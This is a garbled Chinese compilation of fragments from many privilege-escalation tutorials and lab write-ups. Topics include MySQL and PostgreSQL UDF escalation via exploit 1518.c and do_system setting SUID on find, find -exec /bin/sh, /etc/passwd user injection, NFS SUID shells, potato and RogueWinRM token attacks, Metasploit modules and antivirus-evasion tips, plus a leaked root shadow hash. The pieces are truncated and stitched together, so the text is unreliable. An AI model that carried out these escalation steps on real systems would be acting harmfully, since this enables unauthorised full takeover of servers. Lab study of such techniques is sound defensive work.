遇到了处接管Postgresql,但是........我tm竟然没有用他来提权。后来经大哥提醒才知道这里可以利用UDF进行提权。遂为了下一次不再翻车,写下这篇笔记。 configure -prefix=/usr/local/pgsql --without-readline --without-zlibmakemake install图片接下来我们需要下载这postgresql_udf_help fPIC -o lib\_postgresqludf\_sys.sostrip -sx lib\_postgresqludf\_sys.so图片接下来输出.so文件的十六进制并利用postgresql_udf_help 生成分片后的sql语句cat lib\_postgresqludf\_sys.so | xxd -ps | tr -d "\n" > 1.txtpython2 postgresql\_udf\_help.py text AS '/tmp/testeval.so', 'sys\_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;图片最后尝试执行命令,成功提权图片
mysql之udf提权 前言 UDF简介 UDF (user defined function),即用户自定义函数。 '; 查看存在的udf SELECT * FROM mysql.func; 删除udf DROP FUNCTION metaphon; 提权思路(一) When 在无web脚本执行权限,但是有mysql root执行的环境下,我们就可以通过into dumpfile函数导入udf.dll进行提权。 有web脚本执行权限时,也可以直接上传udf提权脚本,快速搞定。 总结一下就是需要有mysql的root权限,就可以尝试使用UDF提权 这个第一个思路是针对没有web脚本执行的情况下进行的提权 若不确定是否是root权限可以使用命令查看一下 select * from
MySQL提权 〇、Mysql提权的必备条件 Mysql的服务没有降权,并且需要获取Mysql root账号密码 使用net user命令查看系统当前帐号,如果出现Mysql这类用户,则系统可能进行了降权 net stop winmgmt del c:/windows/system32/wbem/repository net start winmgmt 重新启动服务即可 二、UDF提权 0、原理 UDF: show variables like '%plugin%'; //查看plugin目录(udf.php中都有) 第三步就是为了看看我们需要32还是64的dll 4、将dll文件写入plugin 使用MSF中的 exploit/multi/mysql/mysql_udf_payload 模块也可以进行UDF提权。 而且也不能使用其他提权等手段。所以,我们现在要做的就是使用UDF进行提权。
-c 'import pty;pty.spawn("/bin/bash")' 通过find命令找到flag3图片的路径 成功登入mysql后,可以看到是mysql5.5.60 接着我们尝试使用udf 提权,搜一下可以看到一个可利用的 然后我们将1518.c本地编译一下再上传 开启web服务 然后wget传进去1518.so 上传成功后,在靶机上链接mysql数据库并操作 create table integer soname '1518.so'; select * from mysql.func; select do_system('chmod u+s /usr/bin/find'); 最后提权后得到 flag4 touch foo find foo -exec "whoami" \; find foo -exec "id" \; find foo -exec "/bin/sh" \; 前面没找到的
这次通过VulnHUB靶场的Raven2来演示Mysql UDF提权,靶机地址: https://www.vulnhub.com/entry/raven-2,269/ 下载完靶机后直接安装并运行靶机 根据作者的描述,他一共放置了4个flag,全部找到即通过,废话不多说,直接开干! 提权 尝试UDF提权之前,先获取plugin路径 show variables like "%plugin%"; 然后直接复制msf中udf提权脚本出来,安照脚本中的注释说明,按步骤生成’.so‘文件后上传至目标机 接下来我们就可以使用find来执行任何命令了 可以看见,通过find命令来执行的所有命令权限都为root权限,提权成功。然后很顺利的就找到了flag,这里有个小知识点,’find . -name test.txt -exec ‘/bin/sh’ ;‘命令执行后,我们的bash环境更改为root权限的sh环境 到这里我们已经拿到了flag1,flag2,flag4,还差一个flag3,
了解UDF mysql内置函数不满足需要,所以mysql提供了添加新函数的机制,自行添加的mysql函数就称为UDF(Userdefined function-用户自定义函数) udf在mysql5.1 以后的版本中,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’,常用c语言编写 UDF提权原理 用户可以自定义提权的函数(比如执行系统命令)来进行提权。 UDF提权条件 1.Mysql版本大于5.1时,udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。 /LinEnum.sh 9.利用UDF提权,先找到exp文件(/usr/share/exploitdb/exploits/linux/local/1518.c) 10.编译exp gcc -g -c 1518 shared -Wl,-soname,1518.so -o 1518.so 1518.o -lc 11.上传1518.so文件到靶机(可以创建webshell用蚁剑连接上传) 12.连接mysql 13.提权
提权就是一个低权限向高权限转化的过程 基于之前的文章,我们获取了一个低权限账户,现在朝着高权限进发 我们现在既然有了低权限账号密码,那么我们就可以登陆3389等远程服务,从而使用一些本地提权的方法 在开始提权之前 Root 对于Linux来说,就只有两种权限,root,非root 其实对于非root也有两种情况,是否可以使用sudo 可以使用sudo的用户可以获取到部分root权限 ---- at命令提权 这个方法相对来说有些古老,之前我在一些技术书籍中还能看到 at 命令提权的原理是at 命令是一个计划命令,可以在规定时间完成一些操作,这个命令调用的是system权限 Win2003 & XP中还是存在的 可以看到我们的权限已经是system了 这个是本地提权,我们看看能不能远程提权(3389属于本地提权了哈) 远程提权需要反弹一个system的shell,我们以nc为例 首先我们用echo命令吧需要执行的命令写入到批处理中
可以看到有147个小工具 psexec 这个工具可以以System账号执行一个程序 适合于本地提权 psexec -i -s cmd -i 使用交互模式运行程序 -s 使用SYSTEM账号来运行 ? 可以看到本地提权成功! 下面我来尝试远程提权,如果能够反弹一个System权限的nc连接,就算成功 ? 这个是拿XP做的实验,现在我们拿win10来测试一下 ?
渗透场景当我们获得了某个Linux服务器的低权限之后,我们想要对该低权限账号进行提权,以执行更多的操作,而在提权过程中发现当前用户具有/etc/passwd文件的写权限,此时我们可以写一个用户进去完成提权 其最小权限为444/etc/passwd文件中每条用户信息数据显示有7个字段:字段1:用户名 --> root 字段2:密码占位符 --> x (这里都是用x代替) 字段3:uid,用户id --> 0 字段4: 提权流程确定可写首先查看/etc/passwd 的权限,发现任何用户都可以对/etc/passwd文件进行读写操作:ls -lh /etc/passwd写入用户接下来要做的就是自己构造一个用户,在密码占位符处指定密码
提权类别 本地提权 配置提权 漏洞提权 本地提权 1.AT命令提权 首先以administrator身份打开cmd ? 4.注入进程提权 pinjector.exe -p 2152 cmd 12345 注入进程提权的流程 首先在靶机上的身份是administrator,靶机ip是172.16.11.141 ? 漏洞提权 烂土豆提权 属于令牌提权 限制条件 需要支持SeImpersonate或者SeAssignPrimaryToken权限 开启DCOM 本地支持RPC或者远程服务器支持PRC并能成功登录 能够找到可用的 数据库提权 1.my sql提权 ①.udf提权 1、知道root账号密码 2、win2000,2003系统 3、需要secure_file_priv函数打开 利用自定义函数功能,将mysql账号换为系统 权限 3.redis提权 未授权访问 1、webshell 2、上传公钥 3、反弹shell 4.oracle提权 1、dba权限执行系统命令 第三方软件/服务提权 windows开机时候都会有一些开机启动的程序
4.利用NFS弱权限。 什么是NFS? 网络文件系统(NFS)是一个客户端/服务器应用程序,它使计算机用户可以查看和选择存储和更新远程计算机上的文件,就像它们位于用户自己的计算机上一样。 当将同一目录共享给多个客户机,但对每个客户机提供的权限不同时,可以这样: [共享的目录] [主机名1或IP1(参数1,参数2)] [主机名2或IP2(参数3,参数4)] ? bash"); return 0; }' > /tmp/test/suid-shell.c 编译: gcc /tmp/test/suid-shell.c -o / tmp / 1 / suid-shel 赋权: 好的,我们回到要提权的服务器上 cd / tmp ./suid-shell ? 可以看到是ROOT权限了
useradd test_dora 3、切换用户,并查看用户权限与系统版本内核版本 su test_dora id cat /etc/shadow uname -an lsb_release -a 二、suid提权 gcc -w -fPIC -shared -o /tmp/test_dora/testpayload.c LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3 id 三、脏牛提权
RogueWinRM是一种新型的提权方法,原理在https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans / ,大体意思就是利用winRm端口来实现token模拟并提权。 然后使用该模块进行提权(BITS与WinRm服务必须处于关闭状态) ? 此时我们便获得了一个system的shell: ? Cobaltstrike操作 之前有讲过Cs的提权武器化,感兴趣的可以转到:使用ReflectiveDLLInjection武装你的CobaltStrike 本来准备像之前一样弄成反射dll,结果发现并不通用 ,因为exp自带了-p参数,这里我们直接-p提权即可。
缓冲区溢出漏洞提权 缓冲区溢出(Buffer Overflow)是针对程序设计的缺陷,向程序输入使之溢出的内容,从而破坏程序运行乃至获得系统的控制权。利用该漏洞的关键是目标机器没有及时安装补丁。 系统配置错误利用提权 Windows操作系统中常见的配置错误包括管理员凭据配置错误、服务配置错误、故意消弱的安全措施、用户权限过高等。 Metasploit 在msf中,可使用exploit/windows/local/service_permissions模块进行自动化提权,需要一个session 此模块使用两种发方法来提权:如果meterpreter 模块中AGGRESSIVE选项如果设置为ture,则是利用目标机器上每一个有漏洞的服务,设置为false则是在第一次提权成功后停止。 烂土豆提权就是MS16-075,是一个本地提权,不能用于域用户.
在渗透中,我们拿到的webshell和反弹回来的shell权限可能都不高,如果我们可以使用sudo命令访问某些程序,则我们可以使用sudo可以提权。 在要提权主机方面。 error on line 1 of /etc/shadow: Invalid command 'root:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0
配置 SOCKS 代理功能后,我们必须获得对具有服务主体名称或计算机帐户的用户的访问权限,该用户始终具有服务主体名称集,因为这是执行 S4U Self 和 S4U 代理操作所必需的。 此生成的密钥将在后续步骤中用于执行 S4U Self 和 S4U Proxy 操作。 我们观察到的另一个常见错误是,操作员可能会尝试使用 Rubeus 从主机生成新的信标,以将执行 S4U 时检索到的 TGS 票证导入其当前登录会话。
【1.能不能执行cmd就看这个命令:net user,net不行就用net1,再不行就上传一个net到可写可读目录,执行/c c:windowstempcookiesnet1.exe user 2.当提权成功 ,3389没开的情况下,上传开3389的vps没成功时,试试上传rootkit.asp 用刚提权的用户登录进去就是system权限,再试试一般就可以了。 4.cmd命令:systeminfo,看看有没有KB952004、KB956572、KB970483这三个补丁,如果没有,第一个是pr提权,第二个是巴西烤肉提权,第三个是iis6.0提权。 11.有时增加不上用户,有可能是密码过于简单或是过于复杂,还有就是杀软的拦截,命令 tasklist 查看进程 12.其实星外提权只要一个可执行的文件即可,先运行一遍cmd,之后把星外ee.exe命名为 14.提权很无奈的时候,可以试试TV远控,通杀内外网,穿透防火墙,很强大的。
---- Windows提权 前言 《Python黑帽子:黑客与渗透测试编程之道》的读书笔记,会包括书中源码,并自己将其中一些改写成Python3版本。 书是比较老了,anyway,还是本很好的书 本篇是第10章Windows提权,主要是做一个进程监视器,然后拦截高权限进程并插入脚本 1、进程监视器 利用WMI的API可以监控系统事件 Windows的一些令牌权限 tempfile.gettempdir()] # 文件修改行为对应常量 FILE_CREATE = 1 FILE_DELETE = 2 FILE_MODIFIED = 3 FILE_RENAMED_FROM = 4
三种方式 1.普通用户模式: 拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令 2.DBA用户模式:(自动化工具) sqlmap 三种方式的提权工具 版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer AlwaysInstallElevated 11.jpg2.jpg3.jpg4.